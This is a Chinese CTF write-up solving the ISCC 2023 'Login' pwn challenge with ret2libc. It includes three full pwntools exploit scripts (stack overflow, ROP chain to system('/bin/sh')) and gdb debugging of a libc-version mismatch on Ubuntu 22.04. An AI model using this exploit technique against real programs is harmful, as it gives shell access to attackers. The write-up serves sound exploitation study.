libc

libc.so 是一个动态链接文件，在程序运行的时候，才会去寻找库文件，取出里面的代码放进内存运行（像平时在运行 Windows 时弹出的 "找不到 xxx.dll文件" 其实就是动态链接）
一般来说，libc 中存放的都是使用过的函数、字符串等

在 libc.so 动态链接库中的函数之间相对偏移是固定的。 也就是说，虽然程序在执行过程中，真实地址会随着每一次加载 libc 而变化，但是两个函数之间的偏移量总是固定不变的

假设文件中三个函数的地址是 0x40010、0x40020、0x40050，但是加载到内存后会增加一个基地址，假设基地址为 0x000100，虽然地址变了，但他们之间的相对偏移还是一样的

栈溢出漏洞5.png

根据系统的版本不同，系统中所使用的 libc 的版本也会有所差别。 所以我们首先需要确定程序所使用的是哪一个版本的 libc，这里可以用 LibcSearcher 来寻找（也有的题会直接给出 libc 文件）

不过 LibcSearcher 找到的 libc 版本可能有多个，有时候需要去判断，而且得到的字符串的地址不一定刚刚好，可能需要通过调试去验证。另外，也可以通过网站来查询：libc database search

栈溢出漏洞7.png

注意：
通过 ret2libc 计算出 libc 基地址时，libc 基地址 libcbase 最后三位一般是全 0，可用于判断是否计算正确，libc 基地址可以在 GDB 中使用 vmmap 进行查看
另外，libc 中的函数偏移在加载到内存后地址最后三位是不会变的，例如：system() 函数在 libc 中偏移量为 0x48E50，则加载到内存中可能为 0xF7D1BE50
与操作系统的 4 KB 分页机制有关，4 KB = 4 * 1024 (D) = 1000 (H)

例题

以 ISCC 2023 的一道 PWN 题为例：《【ISCC 2023】Login》

程序逻辑如下：

函数 main() 栈中的情况：

思路比较简单，首先通过输入 buf 来修改 v6 的值为 365696460 （0x15CC15CC）绕过 if 判断

然后通过 print_name() 函数中的 memcpy() 将 v4 复制到 dest 中，由于 v4 长度为 0x100，而 dest 长度为 0x20，可以利用 v4 覆盖 dest 来修改返回地址

而题目中没有 system() 函数和 "/bin/sh"，但是给出了 libc 文件

同时程序输出了 stdin 的真实地址（通过动态调试发现其实是 _IO_2_1_stdin_ 而不是 stdin）

因此使用 ret2libc 来获取 system() 函数和 "/bin/sh" 的地址

在 Ubuntu 16.04 下，使用如下 exp 直接获得 shell：

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡（glibc 2.27 以下可以不加 ret, 不影响程序执行流）

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

由于在 Ubuntu 16.04 中，glibc 2.27 以下版本不存在 system() 函数中 movaps 指令操作 XMM 寄存器的堆栈平衡问题，因此 payload 中 p64(ret) 可加可不加
但在 Ubuntu 22.04 中就必须得加，索性养成习惯直接加上
详见《PWN中64位程序的堆栈平衡》一文

但在 Ubuntu 22.04 中使用同样的 exp，就无法获得 shell：

PWN中程序的libc问题1.png

玄学的问题出现了：
同样的脚本，同样的程序，在 Ubuntu 16.04 可以打通，在 Ubuntu 22.04 就打不通

调试分析

在 Ubuntu 22.04 中调试分析一下

在第二个 payload 发送之前附加 gdb 调试，完整测试脚本如下：

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡（glibc 2.27 以下可以不加 ret, 不影响程序执行流）

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

# 附加 gdb 调试
gdb.attach(io)
pause()

io.sendline(payload)

io.interactive()

执行到 call print_name 处

PWN中程序的libc问题2.png

可以看到 print_name() 函数的返回地址没有问题，为 pop rdi

单步 si 进入 print_name() 函数：

PWN中程序的libc问题3.png

print_name() 函数结束后，确实返回到 0x4008c3 <__libc_csu_init+99> 处执行了 pop rdi 指令，也没有问题

PWN中程序的libc问题4.png

执行完 pop rdi 指令后，正常返回到 0x400599 <_init+25> 处执行 ret 指令，也没有问题

PWN中程序的libc问题5.png

ret 返回到 0x7fb6dc29a560 地址处

再次单步执行，程序便崩溃了：地址 0x7fb6dc29a560 不合法

PWN中程序的libc问题6.png

按道理说，这个地址存放的应该是 system() 函数的地址

回头观察执行 pop rdi 指令时的情况，出栈到 RDI 的地址为：0x7fb6dc3e2017，正常来讲这个地址应该为 "/bin/sh" 的地址

实际发现这两个地址确实都不存在：

PWN中程序的libc问题7.png

而在 Ubuntu 16.04 中使用同样的脚本进行调试时

发现最后 ret 的地址就是 system() 的地址：

PWN中程序的libc问题8.png

pop rdi 出栈的也是 "/bin/sh" 的地址：

PWN中程序的libc问题9.png

没有任何问题，可以正常获得 shell

大致可以猜测应该是 Ubuntu 22.04 中 system() 函数和 "/bin/sh" 地址不对

接下来，我们在 Ubuntu 22.04 中验证一下

先单步执行完 pop rdi 指令：

PWN中程序的libc问题10.png

此时我们查找 "/bin/sh" 和 system() 函数的地址：

PWN中程序的libc问题11.png

使用 set 命令强行手动将 RDI 寄存器和 RIP 寄存器修改，使 RDI 存放 "/bin/sh" 的地址，RIP 存放 system() 函数的地址

然后 si 单步步入，发现已经正常进入 system() 函数：

直接 finish 结束函数，可以获得 shell：

PWN中程序的libc问题13.png

在 Pycharm 中运行的 exp 也同步获得 shell：

PWN中程序的libc问题14.png

由此可以得出结论：
其实 Ubuntu 22.04 中无法 getshell 的原因就是 system() 函数和 "/bin/sh" 的地址计算错误
而 system() 函数和 "/bin/sh" 的地址是由 libc 文件计算偏移得来的，因此问题出在 libc 文件上

解决办法

由于题目给的 libc 文件为 libc-2.23.so，在 Ubuntu 16.04 这样的老版本中没有问题

但是在 Ubuntu 22.04 这样的新版本中就不对了

Ubuntu 16.04 的 glibc 版本：

PWN中程序的libc问题15.png

Ubuntu 22.04 的 glibc 版本：

PWN中程序的libc问题16.png

解决办法就是在 Ubuntu 22.04 中使用 Ubuntu 22.04 自带的新版 glibc 来运行程序

注意：
更改程序运行时使用的 libc 版本需要与 ld 文件的版本对应，由于 Ubuntu 22.04 使用的 ld 版本为 2.35，所以如果指定题目给出的 libc-2.23.so 文件会使程序运行崩溃：
这里需要指定 Ubuntu 22.04 自带的 libc 文件

Ubuntu 22.04 自带的 glibc 一般位于 /usr/lib/x86_64-linux-gnu/libc.so.6，也可以使用命令来查找：sudo find / -name libc.so.6

PWN中程序的libc问题17.png

将 exp 改写如下：

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# 指定使用 Ubuntu 22.04 自带的 glibc 来运行程序
io = process(['./Login'], env={'LD_PRELOAD': "/usr/lib/x86_64-linux-gnu/libc.so.6"})

elf = ELF('./Login')

# 计算偏移的 libc 也需要与程序相统一
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")


io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)

io.send(payload)

libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3
ret = 0x400599

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()